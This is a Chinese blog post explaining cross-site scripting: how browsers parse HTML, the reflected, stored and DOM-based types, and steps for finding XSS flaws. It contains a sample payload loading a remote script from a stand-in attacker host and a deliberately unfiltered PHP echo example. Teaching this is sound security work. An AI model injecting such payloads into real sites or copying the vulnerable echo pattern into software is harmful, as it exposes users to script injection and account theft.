什么是XSS

文章目录

  • 前言
  • 1. 前端知识
  • 2. 什么是XSS
  • 3. 漏洞挖掘
  • 4. 参考


前言

之前对XSS的理解就是停留在弹窗,认为XSS这种漏洞真的是漏洞吗?安全学习了蛮久了,也应该对XSS有更进一步的认识了。


1. 前端知识

现代浏览器是一个高度复杂的软件系统,由多个核心组件协同工作,旨在高效、安全地呈现网页内容并执行交互逻辑。对一般用户来讲,其主要功能就是向服务器发出请求,在窗口中展示用户所选择的网络资源。这里所说的资源一般是HTML文档,也可以是PDF、图片等其他类型。资源的位置由用户使用URI指定。
在这里插入图片描述

说白了,浏览器这个软件,可以通过网络下载资源并展示,主要是一种叫HTML格式文本文档。我们来看一个网页问文档:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>HTML文档</title>
</head>
<body><p id="p1">The current date and time is:<script type="text/javascript">document.write("<script>" + "alert(1)"+ "<\/script>")document.getElementById('p1').innerHTML = new Date()</script></p>
</body>
</html>

浏览器的渲染引擎中的核心模块HTML解析器会逐行解析这个HTML文本文件输出内容,遇到<script></script>这个标签时,会将其内的文本交给JavaScript引擎解释执行。如果用户提交的输入(数据)被解析为Js代码(指令),即产生XSS漏洞。

2. 什么是XSS

我们从它的名字开始,Cross-site Scripting,这个scriptinging,应该理解为一个动名词,“脚本+执行”的意思,全部翻译过来就是跨站点的脚本执行。顾名思义就是第三方站点的(恶意的)脚本执行

重点应该是放在scripting-脚本执行上,而不是cross-site -- 跨站上。

  • “跨站”是因为绝大多数XSS攻击都是加载远程/第三方域上的脚本,因为很多时候输入的内容都是有长度限制的。真正的XSS攻击<script>alert(1)</script>弹窗毫无意义,所以攻击代码会比较长,一般会注入类似下面这样的代码来引入第三方遇上的脚本资源
    <script src="http://www.evil.com/xss.js"></script>
  • 脚本执行才是我们根本想要的东西,将我们的“恶意脚本”放在在目标用户的浏览器上执行

上代码:xss.php

$selectChar = $_GET['key']; 	//接收前端提交的数据
/*
可能是数据库查询,又或者是其他业务逻辑
*/
echo $selectChar;				//将来自前端的数据写入响应

最常见的一个场景:搜索框,返回搜索结果的时候通常会显示“xxxx的搜索结果”,如果提交的攻击字符串后端接收后不经过滤直接返回,前端浏览器将该字符串解析为JavaScript代码执行,即产生了XSS。提取用户提交的输入并将其插入到服务器响应的HTML代码中,是XSS漏洞的一个显著特征。如果应用程序没有实施任何过滤或精华措施,那么它很容易受到攻击。

我们用一些Web应用常见的功能点/典型的应用场景,来区分XSS的类型:

  1. 反射型XSS
    搜索框就是一个典型的反射型XSS,用户提交的输入经后端直接返回,造成Js代码执行。
  2. 存储型XSS
    留言板/评论区,用户提交的输入是存储在服务器(不管是内存、数据库还hi文件系统),其他用户请求页面时,留言/评论也会一起加载,造成Js代码执行
  3. DOM型XSS
    DOM型XSS不需要服务器解析响应的直接参与,由DOM(Document Object Model)解析渲染造成Js代码执行。DOM是一套API规范,浏览器实现并提供了DOM API 供网页开发者操作HTML文档。通俗地讲,DOM就是浏览器内置给Js引擎的对象,允许我们对HTML文件中的标签进行增上改查。浏览器通过document对象获取URL中的数据,直接解析为JS代码执行,不需要服务器的参与,就是DOM型XSS。

3. 漏洞挖掘

  1. 在每个输入点提交一个良性字符串
  2. 监控字符串在`响应/页面“中的是否出现及其出现的位置
  3. 对于每个响应,确定显示数据时的上下文
  4. 针对语法上下文尝试引入Js脚本

4. 参考

[1] https://web.dev/howbrowserswork/#The_browser_main_functionality
[2] 《Web前端黑客技术揭秘》
[3] 《黑客攻防技术宝典 Web实战篇》
[4] 小迪安全v2023
[5] deepseek

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/28550.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

字节跳动发布 Trae AI IDE!支持 DeepSeek R1 V3,AI 编程新时代来了!

3 月 3 日&#xff0c;字节跳动重磅发布国内首款 AI 原生集成开发环境&#xff08;AI IDE&#xff09;——Trae 国内版&#xff01; Trae 不只是一个传统的 IDE&#xff0c;它深度融合 AI&#xff0c;搭载 doubao-1.5-pro 大模型&#xff0c;同时支持DeepSeek R1 & V3&…

QT 作业 day4

作业 代码 Widget.h class Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr);~Widget();private slots:// 槽函数void on_listWidget_itemDoubleClicked(QListWidgetItem *item);private:Ui::Widget *ui; }; #endif Widget.cpp Widget::Widget(QW…

新版 FMEA 七步法 - PFMEA 第2步“结构分析”的关键要点 | FMEA软件

基于AIAG & VDA FMEA七步法&#xff0c;在 PFMEA 第二步“结构分析”中&#xff0c;FMEA软件 CoreFMEA 总结了关键要点如下&#xff1a; 1. 明确分析目的与范围 界定边界&#xff1a;清晰确定要分析的制造系统边界&#xff0c;明确哪些过程、设备、人员等包含在分析范围内…

DeepSeek 助力 Vue3 开发:打造丝滑的时间选择器(Time Picker)

前言:哈喽,大家好,今天给大家分享一篇文章!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏+关注哦 💕 目录 DeepSeek 助力 Vue3 开发:打造丝滑的时间选择器(Time Picker)📚前言📚页面效果📚指令输入…

Python-04BeautifulSoup网络爬虫

2025-03-04-BeautifulSoup网络爬虫 记录BeautifulSoup网络爬虫的核心知识点 文章目录 2025-03-04-BeautifulSoup网络爬虫 [toc]1-参考网址2-学习要点3-核心知识点1. 安装2. 导入必要的库3. 发送 HTTP 请求4. 创建 BeautifulSoup 对象5. 解析 HTML 内容5.1 查找标签5.2 根据属性…

[Windows] 多系统键鼠共享工具 轻松跨系统控制多台电脑

参考原文&#xff1a;[Windows] 多系统键鼠共享工具 轻松跨系统控制多台电脑 还在为多台电脑需要多套键盘鼠标而烦恼吗&#xff1f;是不是在操控 Windows、macOS、Linux 不同系统电脑时手忙脚乱&#xff1f;现在&#xff0c;这些问题通通能解决&#xff01;Deskflow 软件闪亮登…

docker学习笔记(1)从安装docker到使用Portainer部署容器

docker学习笔记第一课 先交代背景 docker宿主机系统&#xff1a;阿里云ubuntu22.04 开发机系统&#xff1a;win11 docker镜像仓库&#xff1a;阿里云&#xff0c;此阿里云与宿主机系统没有关系&#xff0c;是阿里云提供的一个免费的docker仓库 代码托管平台&#xff1a;github&…

Ollama 框架本地部署教程:开源定制,为AI 项目打造专属解决方案!

Ollama 是一款开源的本地大语言模型&#xff08;LLM&#xff09;运行框架&#xff0c;用于管理和运行语言模型。具有以下核心特点&#xff1a; 开源可定制&#xff1a;采用 MIT 开源协议&#xff0c;开发者能自由使用、阅读源码并定制&#xff0c;可根据自身需求进行功能扩展和…

【AIGC】通义万相 2.1 与蓝耘智算:共绘 AIGC 未来绚丽蓝图

一、引言 在人工智能技术迅猛发展的今天&#xff0c;AIGC&#xff08;生成式人工智能内容生成&#xff09;领域正以惊人的速度改变着我们的生活和工作方式。从艺术创作到影视制作&#xff0c;从广告设计到智能客服&#xff0c;AIGC 技术的应用越来越广泛。通义万相 2.1 作为一…

打印三角形及Debug

打印三角形及Debug package struct; ​ public class TestDemo01 {public static void main(String[] args) {//打印三角形 五行 ​for (int i 1; i < 5; i) {for (int j 5 ; j >i; j--) {System.out.print(" ");}for (int k1;k<i;k) {System.out.print(&…

C 语 言 --- 猜 数 字 游 戏

C 语 言 --- 猜 数 字 游 戏 代 码 全 貌 与 功 能 介 绍游 戏 效 果 展 示游 戏 代 码 详 解头 文 件 引 入菜单函数游 戏 逻 辑 函 数 gamerand 函 数 详 解逻 辑 函 数 game 主 函 数 总结 &#x1f4bb;作 者 简 介&#xff1a;曾 与 你 一 样 迷 茫&#xff0c;现 以 经 验…

免费分享一个软件SKUA-GOCAD-2022版本

若有需要&#xff0c;可以下载。 下载地址 通过网盘分享的文件&#xff1a;Paradigm SKUA-GOCAD 22 build 2022.06.20 (x64).rar 链接: https://pan.baidu.com/s/10plenNcMDftzq3V-ClWpBg 提取码: tm3b 安装教程 Paradigm SKUA-GOCAD 2022版本v2022.06.20安装和破解教程-CS…

记录一次Spring事务失效导致的生产问题

一、背景介绍 公司做的是“聚合支付”业务&#xff0c;对接了微信、和包、数字人民币等等多家支付机构&#xff0c;我们提供统一的支付、退款、自动扣款签约、解约等能力给全国的省公司、机构、商户等。 同时&#xff0c;需要做对账功能&#xff0c;即支付机构将对账文件给到…

IntelliJ IDEA集成MarsCode AI

IntelliJ IDEA集成MarsCode AI IDEA中安装插件 安装完毕之后登录自己的账号 点击链接&#xff0c;注册账号 https://www.marscode.cn/events/s/i5DRGqqo/ 可以选择不同的模型

FPGA学习篇——Verilog学习4

1.1 结构语句 结构语句主要是initial语句和always语句&#xff0c;initial 语句它在模块中只执行一次&#xff0c;而always语句则不断重复执行&#xff0c;以下是一个比较好解释的图: (图片来源于知乎博主罗成&#xff0c;画的很好很直观&#xff01;) 1.1.1 initial语句 ini…

并发编程(线程池)面试题及原理

1. 执行原理/核心参数 1.1 核心参数 核心参数 corePoolSize 核心线程数目maximumPooISize 最大线程数目 &#xff08;核心线程&#xff0b;救急线程的最大数目&#xff09;keepAliveTime 生存时间- 救急线程的生存时间&#xff0c;生存时间内没有新任务&#xff0c;此线程资…

Java 大视界 -- Java 大数据在智慧交通信号灯智能控制中的应用(116)

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…

1.15-16-17-18迭代器与生成器,函数,数据结构,模块

目录 15&#xff0c;Python3 迭代器与生成器15-1 迭代器15-1-1 基础知识15-1-2 迭代器与for循环工作原理 15-2 生成器&#xff08;本质就是迭代器&#xff09;15-2-1 yield 表达式15-2-2 三元表达式15-2-3 列表生成式15-2-4 其他生成器&#xff08;——没有元祖生成式——&…

如何同步this.goodAllData里面的每一项给到row

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》、《前端求职突破计划》 &#x1f35a; 蓝桥云课签约作者、…

react中如何使用使用react-redux进行数据管理

以上就是react-redux的使用过程&#xff0c;下面我们开始优化部分&#xff1a;当一个组件只有一个render生命周期&#xff0c;那么我们可以改写成一个无状态组件&#xff08;UI组件到无状态组件&#xff0c;性能提升更好&#xff09;